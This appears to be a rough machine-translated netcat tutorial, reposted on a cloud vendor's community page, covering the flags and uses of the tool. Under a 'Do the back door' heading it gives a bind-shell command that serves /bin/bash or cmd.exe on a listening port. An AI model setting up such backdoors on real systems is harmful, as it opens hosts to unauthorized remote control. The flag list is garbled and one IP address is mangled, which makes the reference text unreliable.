Netcat, NC tools with notes

Source: Internet
Author: User

Netcat also known as NC tools, its main role is to establish a connection and return two data streams, the rest of the imagination, the imagination is very important, this is the tool of the strong place, so important things to say three times, imagination!

The specific parameters are as follows:

-D                               No command-line interface, using background mode-E Prog                      program redirection, once connected, execute [Dangerous!! ], (can be understood to send a thing outward, the other party automatically executes)-G Gateway               Source Route hop, no more than 8-g num     &NBS P               Source Routing indicator: 4,8,12 ... -H                               Get help information-i< delay seconds >             delay settings, port scan using-l                 &NBS P             Listen to inbound information---                    &N Bsp       Listener knows Netcat is closed (can be disconnected)-n                             IP address in digital form, do not use DNS reverse lookup IP address domain name-o< output file >    &NBSp     The data transferred to and from the connection can be recorded in the form of 16 in logfile (the left half of each line is a 16 binary display and the right half is an ASCII display). which

The first character of each line is "<" or ">", respectively, representing the received data or the data sent.

-P Post Open local Port-r random Local and remote ports-s addr Local Source address-t Reply to inbound requests as Telnet-U establish connection with UDP-V Show details [use-VV for more information]-w< Timeout seconds > Connection Timeout setting-Z I/O mode [use during scan], close connection immediately after successful connection, no data exchange

Function:

1. Can be used to chat.

Nc-l-P 6666 listens on 6666 ports and displays details (-L: Listen for inbound information)

NC 172.16.150.152 6666 connecting 172.16.1.150.152 6666 ports

2. Do the back door

NC's-e parameter program redirects, once connected, executes [dangerous!! ], (can be understood to send out a thing, the other side of the automatic execution)

NC-VLP 6666-e/bin/bash #监听6666端口, and then send the/bin/bash file, as long as someone connected to this port, the other side to execute the/bin/bash file, this file for the Linux shell,windows corresponds to NC-E C : \windows\system32\cmd.exe

Listen directly to the IP port to bounce back a shell

Some of the understanding of NC:

Of course, you can also transfer files, scan the port NC if not connected then is not open, and vice versa.

Netcat, NC tools with notes

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.